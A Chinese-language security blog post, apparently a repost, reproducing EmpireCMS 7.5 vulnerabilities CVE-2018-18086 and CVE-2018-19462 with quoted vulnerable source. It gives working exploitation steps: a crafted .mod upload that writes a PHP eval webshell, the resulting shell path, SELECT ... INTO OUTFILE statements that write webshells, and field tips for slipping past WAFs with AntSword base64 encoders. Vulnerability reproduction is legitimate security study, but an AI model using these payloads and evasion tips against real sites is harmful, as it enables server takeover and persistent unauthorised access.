帝国CMS又名Empirecms-v7.5漏洞分析

admin 2024年4月29日11:29:26评论11 views字数 2765阅读9分13秒阅读模式

No.0

漏洞描述

本次CVE复现了四个EmpireCMSv7.5的漏洞,在此一并记录下。

CVE-2018-18086 后台getshell

CVE-2018-19462 代码注入

后台xss

前台xss

No.1

漏洞环境

所需环境EmpireCMS <= 7.5

本次漏洞复现所用环境为EmpireCMSv7.5

EmpireCMS环境下载地址:http://www.phome.net/download/

登录admin账号,路径/e/admin/index.php

帝国CMS又名Empirecms-v7.5漏洞分析

No.2

漏洞环境

CVE-2018-18086 后台getshell

EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。

EmpireCMS7.5版本中的/e/class/moddofun.php文件的”LoadInMod”函数存在安全漏洞,攻击者可利用该漏洞上传任意文件。

//导入模型elseif($enews=="LoadInMod"){ $file=$_FILES['file']['tmp_name']; $file_name=$_FILES['file']['name']; $file_type=$_FILES['file']['type']; $file_size=$_FILES['file']['size']; LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);}

转到LoadInMod定义在localhost/EmpireCMS/e/class/moddofun.php找到上传文件的定义

//上传文件 $path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php"; $cp=@move_uploaded_file($file,$path); if(!$cp) { printerror("EmptyLoadInMod",""); } DoChmodFile($path); @include($path); UpdateTbDefMod($tid,$tbname,$mid);
帝国CMS又名Empirecms-v7.5漏洞分析

该函数用于加载模块(.mod文件)到系统中,接受文件信息和用户身份验证信息作为参数。它执行权限检查,验证文件信息,防止重复加载模块,并将上传文件移动到指定位置后包含执行。

使用move_uploaded_file函数将临时文件移动到指定位置。然而,此处没有对文件路径进行充分的验证

使用include语句包含了上传的模块文件。但是,没有对模块文件的内容进行充分验证下方代码@include($path)直接包含文件,因此可以通过添加创建文件的代码绕过。

文件包含上传文件处使用time().makepassword(10)进行加密文件名

//取得随机数function make_password($pw_length){ $low_ascii_bound=48; $upper_ascii_bound=122; $notuse=array(58,59,60,61,62,63,64,91,92,93,94,95,96); while($i<$pw_length) { if(PHP_VERSION<'4.2.0') { mt_srand((double)microtime()*1000000); } mt_srand(); $randnum=mt_rand($low_ascii_bound,$upper_ascii_bound); if(!in_array($randnum,$notuse)) { $password1=$password1.chr($randnum); $i++; } } return $password1;}

漏洞复现

来到导入系统模型的页面位置: 管理数据表 > 导入系统模型

帝国CMS又名Empirecms-v7.5漏洞分析

本地准备一个touch.php.mod,注意这里需要用$进行转义,存放的数据表名需要填一个数据库内没有的表名,点击上传

<?php file_put_contents("getshell.php","<?php @eval($_POST[cmd]); ?>");?>
帝国CMS又名Empirecms-v7.5漏洞分析

导入成功后进行访问

/e/admin/getshell.php
帝国CMS又名Empirecms-v7.5漏洞分析

几个实战中遇到的坑

1.有waf报错500500很容易联想到禁止web流量,那么我们上传的一句话木马默认情况下是不进行加密的,所以很容易被waf识别并拦截。

解决方法:使用蚁剑自带的base64编码器和解密器即可成功上线,这里也可以用自己的编码器和解密器绕过waf拦截

2.不能使用冰蝎、哥斯拉马

实战小技巧

如果有waf拦截web流量就走加密传输,如果始终连接不上就要一步步的进行排查。这里可以在一句话密码后面输出一个echo 123,通过是否有回显来探测哪一步没有完善导致连接不成功

CVE-2018-19462 代码注入

用select ... into outfile语句写入php一句话木马

select '' into outfile 'E:/Wamp2.5/wamp/www/EmpireCMS/getshell.php'

虽然用绝对路径挺鸡肋的,但是可以用上面的漏洞进行phpinfo 搜索这个参数

_SERVER["SCRIPT_FILENAME"]

分析源码定位漏洞出现的位置在localhost/EmpireCMS/e/admin/db/DoSql.php,对sqltext进行RepSqlTbpre函数处理

payload

用select ... into outfile语句写入php一句话木马,但是这里需要知道存放的绝对路径,这里可以使用一个phpinfo()用第一种方法传上去 |位置:管理SQL语句 > 增加SQL语句|

select '' into outfile '/var/www/html/e/admin/Get.php'

实战中的一些坑

我们知道secure_file_priv这个参数在mysql的配置文件里起到的是能否写入的作用,当secure_file_priv = 为空,则可以写入sql语句到数据库,当secure_file_priv = NULL,则不可以往数据库里写sql语句,当secure_file_priv = /xxx,一个指定目录的时候,就只能往这个指定的目录里面写东西

这个地方很明显报错就是限制数据库的导入跟导出,这里很明显判断

secure_file_priv = NULL,

所以当实战中出现在这种情况下是不能够用这种方法的

帝国CMS又名Empirecms-v7.5漏洞分析

如果在本地可以在my.ini修改或添加secure_file_priv = 这一行语句

WEB学员投稿

No.3

原文始发于微信公众号(隐雾安全):帝国CMS又名Empirecms-v7.5漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月29日11:29:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   帝国CMS又名Empirecms-v7.5漏洞分析https://cn-sec.com/archives/2697661.html

发表评论

匿名网友 填写信息